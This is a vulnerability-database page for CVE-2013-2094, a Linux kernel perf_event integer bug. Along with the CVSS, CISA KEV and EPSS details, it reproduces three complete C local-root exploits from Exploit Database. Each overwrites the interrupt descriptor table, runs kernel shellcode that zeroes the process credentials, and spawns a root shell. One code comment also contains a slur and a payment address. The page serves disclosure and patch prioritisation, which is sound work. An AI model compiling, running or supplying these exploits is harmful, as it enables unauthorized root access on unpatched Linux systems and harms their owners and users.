CVE-2013-2094 Detail

CVE-2013-2094

Score / Severity

8.4

High

EPSS

0.15%V3

Vector

Local

Published

2013-05-14
20h00 +00:00

Modified

2025-02-04
19h21 +00:00

Official links

CVE.org

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CVE Descriptions

The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data type, which allows local users to gain privileges via a crafted perf_event_open system call.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-189	Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.4	HIGH	CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	134c704f-9b21-4f2e-91b3-4a467353bcc0
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	[email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Linux Kernel Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-09-14 22h00 +00:00

Action is due : 2022-10-05 22h00 +00:00

Important information

This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 25444

Publication date : 2013-05-13 22h00 +00:00
Author : sd
EDB Verified : No

/* * linux 2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2 semtex.c && ./a.out * 2010 [email protected], salut! * * update may 2013: * seems like centos 2.6.32 backported the perf bug, lol. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. * * EDB Note: Update ~ http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ * ~ https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c */ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #define BASE 0x380000000 #define SIZE 0x010000000 #define KSIZE 0x2000000 #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() { int i,j,k; uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t kbase = ((uint64_t)current)>>36; uint32_t *fixptr = (void*) AB(1); *fixptr = -1; for (i=0; i<4000; i+=4) { uint64_t *p = (void *)&current[i]; uint32_t *t = (void*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j=0; j<20; j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto next; for (i = 0; i < 8; i++) t[j+i] = 0; for (i = 0; i < 10; i++) t[j+9+i] = -1; return; next:; } } } void sheep(uint32_t off) { uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert(!close(fd)); } int main() { uint64_t u,g,needle, kbase, *p; uint8_t *code; uint32_t *map, j = 5; int i; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); sheep(-1); sheep(-2); for (i = 0; i < SIZE/4; i++) if (map[i]) { assert(map[i+1]); break; } assert(i<SIZE/4); asm ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; u = getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g); while (j--) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); if (!p) continue; *p = j?((g<<32)|u):(idt.addr + 0x48); } sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int $0x4"); assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL); }

Exploit Database EDB-ID : 33589

Publication date : 2014-05-30 22h00 +00:00
Author : Vitaly Nikolenko
EDB Verified : Yes

/** * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit * by Vitaly Nikolenko ([email protected]) * * based on semtex.c by sd * * Supported targets: * [0] Ubuntu 12.04.0 - 3.2.0-23-generic * [1] Ubuntu 12.04.1 - 3.2.0-29-generic * [2] Ubuntu 12.04.2 - 3.5.0-23-generic * * $ gcc vnik.c -O2 -o vnik * * $ uname -r * 3.2.0-23-generic * * $ ./vnik 0 */ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #define BASE 0x1780000000 #define SIZE 0x0010000000 #define KSIZE 0x2000000 #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); uint64_t targets[3][3] = {{0xffffffff81ef67e0, // perf_swevent_enabled 0xffffffff81091630, // commit_creds 0xffffffff810918e0}, // prepare_kernel_cred {0xffffffff81ef67a0, 0xffffffff81091220, 0xffffffff810914d0}, {0xffffffff81ef5940, 0xffffffff8107ee30, 0xffffffff8107f0c0} }; void __attribute__((regparm(3))) payload() { uint32_t *fixptr = (void*)AB(1); // restore the handler *fixptr = -1; commit_creds_fn commit_creds = (commit_creds_fn)AB(2); prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3); commit_creds(prepare_kernel_cred((uint64_t)NULL)); } void trigger(uint32_t off) { uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert( !close(fd) ); } int main(int argc, char **argv) { uint64_t off64, needle, kbase, *p; uint8_t *code; uint32_t int_n, j = 5, target = 1337; int offset = 0; void *map; assert(argc == 2 && "target?"); assert( (target = atoi(argv[1])) < 3 ); struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; // mmap user-space block so we don't page fault // on sw_perf_event_destroy assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); asm volatile("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; printf("IDT addr = 0x%lx\n", idt.addr); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); // can only play with interrupts 3, 4 and 0x80 for (int_n = 3; int_n <= 0x80; int_n++) { for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) { int off32 = off64; if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) { offset = off32; goto out; } } if (int_n == 4) { // shit, let's try 0x80 if the kernel is compiled with // CONFIG_IA32_EMULATION int_n = 0x80 - 1; } } out: assert(offset); printf("Using int = %d with offset = %d\n", int_n, offset); for (j = 0; j < 3; j++) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j]; } trigger(offset); switch (int_n) { case 3: asm volatile("int $0x03"); break; case 4: asm volatile("int $0x04"); break; case 0x80: asm volatile("int $0x80"); } assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL); }

Exploit Database EDB-ID : 26131

Publication date : 2013-06-10 22h00 +00:00
Author : Andrea Bittau
EDB Verified : Yes

/* * CVE-2013-2094 exploit x86_64 Linux < 3.8.9 * by sorbo ([email protected]) June 2013 * * Based on sd's exploit. Supports more targets. * */ #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <sys/syscall.h> #include <sys/mman.h> #include <linux/perf_event.h> #include <signal.h> #include <assert.h> #define BASE 0x380000000 #define BASE_JUMP 0x1780000000 #define SIZE 0x10000000 #define KSIZE 0x2000000 #define TMP(x) (0xdeadbeef + (x)) struct idt { uint16_t limit; uint64_t addr; } __attribute__((packed)); static int _fd; static int perf_open(uint64_t off) { struct perf_event_attr attr; int rc; // printf("perf open %lx [%d]\n", off, (int) off); memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE; attr.size = sizeof(attr); attr.config = off; attr.mmap = 1; attr.comm = 1; attr.exclude_kernel = 1; rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0); return rc; } void __sc_start(void); void __sc_next(void); void __sc(void) { asm("__sc_start:\n" "call __sc_next\n" "iretq\n" "__sc_next:\n"); } void sc(void) { int i, j; uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192)); uint64_t kbase = ((uint64_t)current) >> 36; int uid = TMP(1); int gid = TMP(2); for (i = 0; i < 4000; i += 4) { uint64_t *p = (void *) &current[i]; uint32_t *cred = (uint32_t*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j = 0; j < 20; j++) { if (cred[j] == uid && cred[j + 1] == gid) { for (i = 0; i < 8; i++) { cred[j + i] = 0; return; } } } } } static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val) { void *p; p = memmem(sc, 900, &needle, sizeof(needle)); if (!p) errx(1, "can't find %x", needle); memcpy(p, &val, sizeof(val)); } static void *map_mem(uint64_t addr) { void *p; p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (p == MAP_FAILED) err(1, "mmap()"); return p; } static int find_mem(void *mem, uint8_t c) { int i; uint8_t *p = mem; for (i = 0; i < SIZE; i++) { if (p[i] == c) return i; } return -1; } static void dropshell() { if (setuid(0) != 0) errx(1, "failed"); printf("Launching shell\n"); execl("/bin/sh", "sh", NULL); exit(0); } void morte(int x) { printf("Got signal\n"); close(_fd); dropshell(); } static void trigger(int intr) { switch (intr) { case 0: do { int z = 1; int a = 1; z--; a /= z; } while (0); break; case 4: asm("int $4"); break; case 0x80: asm("int $0x80"); break; default: errx(1, "unknown intr %d", intr); } sleep(3); } int main(int argc, char *argv[]) { uint32_t *p[2]; int fd, i; uint64_t off; uint64_t addr = BASE; struct idt idt; uint8_t *kbase; int sz = 4; int intr = 4; printf("Searchin...\n"); p[0] = map_mem(BASE); p[1] = map_mem(BASE_JUMP); memset(p[1], 0x69, SIZE); off = 0xFFFFFFFFL; fd = perf_open(off); close(fd); i = find_mem(p[0], 0xff); if (i == -1) { i = find_mem(p[1], 0x68); if (i == -1) errx(1, "Can't find overwrite"); sz = 24; addr = BASE_JUMP; printf("detected CONFIG_JUMP_LABEL\n"); } munmap(p[0], SIZE); munmap(p[1], SIZE); addr += i; addr -= off * sz; printf("perf_swevent_enabled is at 0x%lx\n", addr); asm("sidt %0" : "=m" (idt)); printf("IDT at 0x%lx\n", idt.addr); off = addr - idt.addr; off -= 8; switch (off % sz) { case 0: intr = 0; break; case 8: intr = 0x80; break; case 16: intr = 4; break; default: errx(1, "remainder %d", off % sz); } printf("Using interrupt %d\n", intr); off -= 16 * intr; assert((off % sz) == 0); off /= sz; off = -off; // printf("Offset %lx\n", off); kbase = (uint8_t*) (idt.addr & 0xFF000000); printf("Shellcode at %p\n", kbase); if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) err(1, "mmap()"); memset(kbase, 0x90, KSIZE); kbase += KSIZE - 1024; i = __sc_next - __sc_start; memcpy(kbase, __sc_start, i); kbase += i; memcpy(kbase, sc, 900); sc_replace(kbase, TMP(1), getuid()); sc_replace(kbase, TMP(2), getgid()); signal(SIGALRM, morte); alarm(2); printf("Triggering sploit\n"); _fd = perf_open(off); trigger(intr); exit(0); }